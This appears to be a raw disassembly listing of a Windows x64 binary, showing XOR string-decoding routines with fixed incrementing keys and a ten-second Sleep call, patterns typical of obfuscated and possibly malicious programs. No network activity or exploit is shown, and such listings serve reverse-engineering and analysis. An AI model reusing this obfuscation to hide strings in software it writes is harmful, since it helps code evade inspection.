sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x21
jge 0x14002b2bb
jmp 0x14002b0b0
call fcn.14002de94
int3
mov rdx, r9
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
lea rdx, [rbp + 0x648]
call fcn.14002c490
mov rcx, rax
call fcn.140013010
lea rdx, [rsp + 0x40]
call fcn.14002b400
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14002b13c
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor cl, 0x3e
mov byte [rax + 5], cl
mov rcx, rax
call fcn.140030ab8
xor ecx, ecx
call fcn.14002dc54
nop
call fcn.14002de94
nop
mov rcx, r9
call fcn.140030ab8
lea rdx, [rsp + 0x40]
call fcn.14002b400
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14002b185
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor cl, 0x3e
mov byte [rax + 5], cl
mov rcx, rax
call fcn.140030ab8
xor ecx, ecx
call fcn.14002dc54
nop
mov rdx, r9
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140013010
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14002dc54
nop
call fcn.14002de94
nop
mov rdx, r9
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140013010
lea rdx, [rsp + 0x40]
call fcn.14002b400
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14002b207
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor cl, 0x3e
mov byte [rax + 5], cl
mov rcx, rax
call fcn.140030ab8
xor ecx, ecx
call fcn.14002dc54
int3
mov rdx, r9
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140013010
lea rdx, [rsp + 0x40]
call fcn.14002b400
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14002b259
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor cl, 0x3e
mov byte [rax + 5], cl
mov rcx, rax
call fcn.140030ab8
xor ecx, ecx
call fcn.14002dc54
int3
mov rdx, r9
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140013010
lea rdx, [rsp + 0x40]
call fcn.14002b400
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14002b2ab
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor cl, 0x3e
mov byte [rax + 5], cl
mov rcx, rax
call fcn.140030ab8
xor ecx, ecx
call fcn.14002dc54
int3
mov rdx, r9
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140013010
lea rdx, [rsp + 0x40]
call fcn.14002b400
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14002b2fd
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor cl, 0x3e
mov byte [rax + 5], cl
mov rcx, rax
call fcn.140030ab8
xor ecx, ecx
call fcn.14002dc54
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
xor ecx, ecx
call fcn.14002dc54
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14001b090
nop
call fcn.14002de94
nop
call fcn.140021c20
lea rdx, [rsp + 0x40]
call fcn.14002b400
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14002b36f
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor cl, 0x3e
mov byte [rax + 5], cl
mov rcx, rax
call fcn.140030ab8
xor ecx, ecx
call fcn.14002dc54
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
int3